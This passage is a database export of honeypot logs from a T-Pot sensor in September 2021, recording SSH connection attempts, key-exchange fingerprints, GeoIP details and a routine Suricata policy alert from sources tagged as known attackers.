"hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f70ed30396f6", "@version": "1", "timestamp": "2021-09-20T11:42:12.508440Z", "@timestamp": "2021-09-20T11:42:12.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31085	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:42:12.473162+03	2021-09-20 14:45:04.024141+03	{"_id": "tQYDA3wBvYTbRNuEfEH-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:55360 (192.168.176.2:22) [session: f70ed30396f6]", "session": "f70ed30396f6", "@version": "1", "protocol": "ssh", "src_port": 55360, "dest_port": 22, "timestamp": "2021-09-20T11:42:12.473162Z", "@timestamp": "2021-09-20T11:42:12.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31086	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:42:12.476146+03	2021-09-20 14:45:04.025143+03	{"_id": "tgYDA3wBvYTbRNuEfEH_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f70ed30396f6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:42:12.476146Z", "@timestamp": "2021-09-20T11:42:12.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31087	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:42:12.507819+03	2021-09-20 14:45:04.026142+03	{"_id": "twYDA3wBvYTbRNuEfkG7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:42:12.442215+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1155483433221991, "payload": "AAADzAYU1N+cVUDerMXB97Fses9byQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55360, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:42:12.507819Z", "@timestamp": "2021-09-20T11:42:12.507Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........U@......lz.[....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31088	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:42:14.359983+03	2021-09-20 14:45:04.028143+03	{"_id": "xAYDA3wBvYTbRNuEhkGN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33779, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 112, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 254964082833360, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59869, "timestamp": "2021-09-20T11:42:14.359983Z", "@timestamp": "2021-09-20T11:42:14.359Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31089	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:14.411058+03	2021-09-20 14:45:04.030142+03	{"_id": "xgYDA3wBvYTbRNuEh0F9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35556, "dest_port": 443, "timestamp": "2021-09-20T11:42:14.411058", "@timestamp": "2021-09-20T11:42:14.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31090	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:41:47.604866+03	2021-09-20 14:45:04.031142+03	{"_id": "iQYDA3wBvYTbRNuEG0FK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6aea2de832bd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:47.604866Z", "@timestamp": "2021-09-20T11:41:47.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31091	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:41:47.652386+03	2021-09-20 14:45:04.032142+03	{"_id": "jAYDA3wBvYTbRNuEHUEK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:47.552407+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2079367404154327, "payload": "AAADzAYUkSN9fr0VkwbZ895WOXPX7wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57200, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:47.652386Z", "@timestamp": "2021-09-20T11:41:47.652Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......#}~.......V9s.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31092	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:47.605623+03	2021-09-20 14:45:04.034142+03	{"_id": "jQYDA3wBvYTbRNuEHUH6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57200, "timestamp": "2021-09-20T11:41:47.605623", "@timestamp": "2021-09-20T11:41:47.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31093	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:41:47.65297+03	2021-09-20 14:45:04.035142+03	{"_id": "lQYDA3wBvYTbRNuEH0E0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6aea2de832bd", "@version": "1", "timestamp": "2021-09-20T11:41:47.652970Z", "@timestamp": "2021-09-20T11:41:47.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31094	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:41:49.007152+03	2021-09-20 14:45:04.037142+03	{"_id": "lgYDA3wBvYTbRNuEI0Ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6aea2de832bd", "@version": "1", "duration": 1.402604341506958, "timestamp": "2021-09-20T11:41:49.007152Z", "@timestamp": "2021-09-20T11:41:49.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31095	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:42:12.507633+03	2021-09-20 14:45:04.038142+03	{"_id": "uAYDA3wBvYTbRNuEfkG7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1155483433221991, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55360, "dest_port": 22, "timestamp": "2021-09-20T11:42:12.507633Z", "@timestamp": "2021-09-20T11:42:12.507Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31096	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:12.476959+03	2021-09-20 14:45:04.039141+03	{"_id": "uQYDA3wBvYTbRNuEf0Gr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 